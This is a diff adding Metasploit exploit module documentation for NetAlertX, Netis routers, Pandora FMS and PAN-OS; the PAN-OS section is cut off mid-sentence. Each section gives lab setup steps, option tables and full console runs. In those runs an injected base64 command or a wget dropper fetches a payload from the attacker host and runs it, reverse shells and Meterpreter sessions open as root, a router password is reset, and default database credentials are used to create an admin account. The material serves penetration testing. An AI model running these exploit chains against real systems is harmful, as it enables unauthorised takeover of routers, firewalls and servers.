CLEANUP true no Restore DBCLNP_CMD to original value after execution
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 20211 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
WAIT 75 yes Wait time (seconds) for the payload to be set
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 24.9.12 detected.
|
||||
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
|
||||
[*] Waiting settings really updated...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
|
||||
[*] Added the payload to the queue. Waiting for the payload to run...
|
||||
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+289
@@ -0,0 +1,289 @@
|
||||
## Vulnerable Application
|
||||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
|
||||
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
|
||||
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
|
||||
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
|
||||
vulnerability.
|
||||
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
|
||||
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
|
||||
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
|
||||
the RCE.
|
||||
|
||||
Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
|
||||
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
|
||||
specific vulnerable firmware.
|
||||
|
||||
The following router firmware versions are vulnerable:
|
||||
|
||||
- [x] netis_MW5360_V1.0.1.3031_fw.bin
|
||||
- [x] Netis_MW5360-1.0.1.3442.bin
|
||||
- [x] Netis_MW5360_RUSSIA_844.bin
|
||||
- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
|
||||
- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
|
||||
- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
|
||||
- [x] netis_NC65_V3.0.0.3749.bin
|
||||
- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
|
||||
- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
|
||||
- [x] netis_NX10_V2.0.1.3582_fw.bin
|
||||
- [x] netis_NX10_V2.0.1.3643.bin
|
||||
- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
|
||||
- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
|
||||
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
|
||||
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
|
||||
- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
|
||||
- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
|
||||
|
||||
and potentially others...
|
||||
|
||||
## Installation
|
||||
Ideally, to test this module, you would need a vulnerable Netis Router device.
|
||||
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
|
||||
we can simulate the router and test the vulnerable endpoint.
|
||||
|
||||
### Installation steps to emulate the router firmware with FirmAE
|
||||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
|
||||
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
|
||||
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
|
||||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
|
||||
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
|
||||
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
|
||||
* Start emulation.
|
||||
* First run `./init.sh` to initialize and start the Postgress database.
|
||||
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
|
||||
* This will take a while, but in the end you should see the following...
|
||||
```shell
|
||||
# ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
|
||||
[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
|
||||
[*] extract done!!!
|
||||
[*] get architecture done!!!
|
||||
mke2fs 1.47.0 (5-Feb-2023)
|
||||
e2fsck 1.47.0 (5-Feb-2023)
|
||||
[*] infer network start!!!
|
||||
[IID] 15
|
||||
[MODE] debug
|
||||
[+] Network reachable on 192.168.1.254!
|
||||
[+] Web service on 192.168.1.254
|
||||
[+] Run debug!
|
||||
Creating TAP device tap15_0...
|
||||
Set 'tap15_0' persistent and owned by uid 0
|
||||
Bringing up TAP device...
|
||||
Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
|
||||
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
|
||||
import telnetlib
|
||||
[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
|
||||
[*] IP - 192.168.1.254
|
||||
[*] connecting to netcat (192.168.1.254:31337)
|
||||
[+] netcat connected
|
||||
------------------------------
|
||||
| FirmAE Debugger |
|
||||
------------------------------
|
||||
1. connect to socat
|
||||
2. connect to shell
|
||||
3. tcpdump
|
||||
4. run gdbserver
|
||||
5. file transfer
|
||||
6. exit
|
||||
```
|
||||
* check if you can `ping` the emulated router and run `nmap` to check the ports
|
||||
```shell
|
||||
# ping 192.168.1.254
|
||||
PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
|
||||
64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
|
||||
64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
|
||||
64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
|
||||
^C
|
||||
--- 192.168.1.254 ping statistics ---
|
||||
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
|
||||
rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
|
||||
# nmap 192.168.1.254
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
|
||||
Nmap scan report for 192.168.1.254
|
||||
Host is up (0.020s latency).
|
||||
Not shown: 996 closed tcp ports (reset)
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
53/tcp open domain
|
||||
80/tcp open http
|
||||
443/tcp open https
|
||||
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
|
||||
```
|
||||
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Linux Dropper>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `Meterpreter` session.
|
||||
|
||||
```msf
|
||||
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info
|
||||
|
||||
Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
|
||||
Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
|
||||
Platform: Linux
|
||||
Arch: mipsle
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-12-27
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
|
||||
s/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The Netis router endpoint URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
|
||||
local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 1981 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
|
||||
vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
|
||||
The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
|
||||
router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
|
||||
encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
|
||||
command execution, potentially allowing the attacker to take full control of the router.
|
||||
An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
|
||||
attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.
|
||||
|
||||
Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
|
||||
information of the router which can be used by the attacker to determine if the router is running specific vulnerable
|
||||
firmware.
|
||||
|
||||
The following router firmware versions are vulnerable:
|
||||
* netis_MW5360_V1.0.1.3031_fw.bin
|
||||
* Netis_MW5360-1.0.1.3442.bin
|
||||
* Netis_MW5360_RUSSIA_844.bin
|
||||
* netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
|
||||
* netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
* netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
* Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
|
||||
* netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
|
||||
* netis_NC65_V3.0.0.3749.bin
|
||||
* Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
|
||||
* Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
|
||||
* netis_NX10_V2.0.1.3582_fw.bin
|
||||
* netis_NX10_V2.0.1.3643.bin
|
||||
* Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
|
||||
* netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
|
||||
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
|
||||
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
|
||||
* Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
|
||||
* GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
|
||||
* potentially others...
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48455
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48456
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48457
|
||||
https://github.com/users/h00die-gr3y/projects/1
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
## Options
|
||||
### CMD_DELAY
|
||||
Chained command lines using `;` do not work, so each command need to be executed in a separate request
|
||||
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
|
||||
|
||||
## Scenarios
|
||||
### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
|
||||
```msf
|
||||
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.1.253:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.1.254:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
|
||||
[*] Resetting router password for authentication.
|
||||
[*] Logging in with the new router password 4vNcez42D to get the password cookie.
|
||||
[*] Saving router credentials (root) at the msf database.
|
||||
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
|
||||
[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
|
||||
[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
|
||||
[*] Sending payload to 192.168.1.254 (Wget)
|
||||
[*] Command Stager progress - 53.85% done (63/117 bytes)
|
||||
[*] Executing chmod +x /tmp/hMvelDeE
|
||||
[*] Command Stager progress - 72.65% done (85/117 bytes)
|
||||
[*] Executing /tmp/hMvelDeE
|
||||
[+] Deleted /tmp/hMvelDeE
|
||||
[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
|
||||
[*] Command Stager progress - 83.76% done (98/117 bytes)
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.254
|
||||
OS : (Linux 3.10.90)
|
||||
Architecture : mips
|
||||
BuildTuple : mipsel-linux-muslsf
|
||||
Meterpreter : mipsle/linux
|
||||
meterpreter > pwd
|
||||
/etc/boa
|
||||
meterpreter > ls
|
||||
Listing: /etc/boa
|
||||
=================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
|
||||
100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
## Limitations
|
||||
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
|
||||
Another limitation is that the router has a very limited command set that can be leveraged,
|
||||
so the only option is to use the `wget` command to drop an executable on the target to get a session.
|
||||
Chained command lines using `;` do not work, so each command need to be executed in a separate request
|
||||
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).
|
||||
|
||||
Last but not least, be mindful that the admin router password gets overwritten by the exploit,
|
||||
resulting in a clear indicator of compromise.
|
||||
@@ -0,0 +1,210 @@
|
||||
## Vulnerable Application
|
||||
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
|
||||
This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
|
||||
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
|
||||
This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
|
||||
to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
|
||||
Pandora FMS Web application.
|
||||
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
|
||||
This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**Pandora FMS Releases:**
|
||||
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
|
||||
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
|
||||
|
||||
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
|
||||
* Install the iso image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options.
|
||||
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
|
||||
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
|
||||
|
||||
* Note: from version `v7.0NG.760` follow the installation manual below:
|
||||
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
|
||||
|
||||
### PASSWORD
|
||||
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
|
||||
|
||||
### DB_USER
|
||||
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
|
||||
|
||||
### DB_PASSWORD
|
||||
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
|
||||
Note: In older versions, this password is set to `pandora` during installation of the application.
|
||||
|
||||
### DB_PORT
|
||||
This option is required and is the MySQL database port (default: 3306) to connect to the database.
|
||||
|
||||
## Scenarios
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info
|
||||
|
||||
Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
|
||||
Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
|
||||
Platform: Unix, Linux, PHP
|
||||
Arch: cmd, php
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-11-21
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Askar mhaskar
|
||||
|
||||
Module side effects:
|
||||
artifacts-on-disk
|
||||
ioc-in-logs
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP Command
|
||||
1 Unix/Linux Command
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DB_NAME pandora yes Pandora database
|
||||
DB_PASSWORD Pandor4! yes Pandora database admin password
|
||||
DB_PORT 3306 yes MySQL database port
|
||||
DB_USER pandora yes Pandora database admin user
|
||||
PASSWORD pandora no Pandora web admin password
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
|
||||
g-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /pandora_console yes Path to the Pandora FMS application
|
||||
USERNAME admin no Pandora web admin user
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
Pandora FMS is a monitoring solution that provides full observability for your organization's
|
||||
technology. This module exploits an command injection vulnerability in the LDAP authentication
|
||||
mechanism of Pandora FMS.
|
||||
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
|
||||
This access can be achieved leveraging a default password vulnerability in Pandora FMS that
|
||||
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
|
||||
administrative access to the Pandora FMS Web application. This attack can be remotely executed
|
||||
over the WAN as long as the MySQL services are exposed to the outside world.
|
||||
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-11320
|
||||
https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
|
||||
https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
|
||||
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
|
||||
password => xxx
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
|
||||
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
|
||||
[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
|
||||
[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing PHP Command for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
|
||||
[+] Payload is successful removed from LDAP configuration.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandora_console
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
|
||||
password => pandora
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
|
||||
[+] Payload is successful removed from LDAP configuration.
|
||||
|
||||
pwd
|
||||
/var/www/html/pandora_console
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
## Limitations
|
||||
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
|
||||
to the MySQL database with the default database credentials.
|
||||
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
|
||||
You can check this with the SQL command below if you have local access to the database.
|
||||
```
|
||||
SELECT host FROM mysql.user WHERE user = "pandora";
|
||||
+-----------+
|
||||
| host |
|
||||
+-----------+
|
||||
| 127.0.0.1 |
|
||||
| localhost |
|
||||
+-----------+
|
||||
```
|
||||
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
|
||||
@@ -0,0 +1,113 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
|
||||
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
|
||||
execute arbitrary code with root privileges.
|
||||
|
||||
The following versions are affected:
|
||||
* PAN-OS 11.2 (up to and including 11.2.4-h1)
|
||||
* PAN-OS 11.1 (up to and including 11.1.5-h1)
|
||||
* PAN-OS 11.0 (up to and including 11.0.6-h1)
|
||||
* PAN-OS 10.2 (up to and including 10.2.12-h2)
|
||||
|
||||
## Testing
|
||||
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
|
||||
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
|
||||
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
|
||||
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
|
||||
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
|
||||
to change this upon logging in for the first time.
|
||||
|
||||
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
|
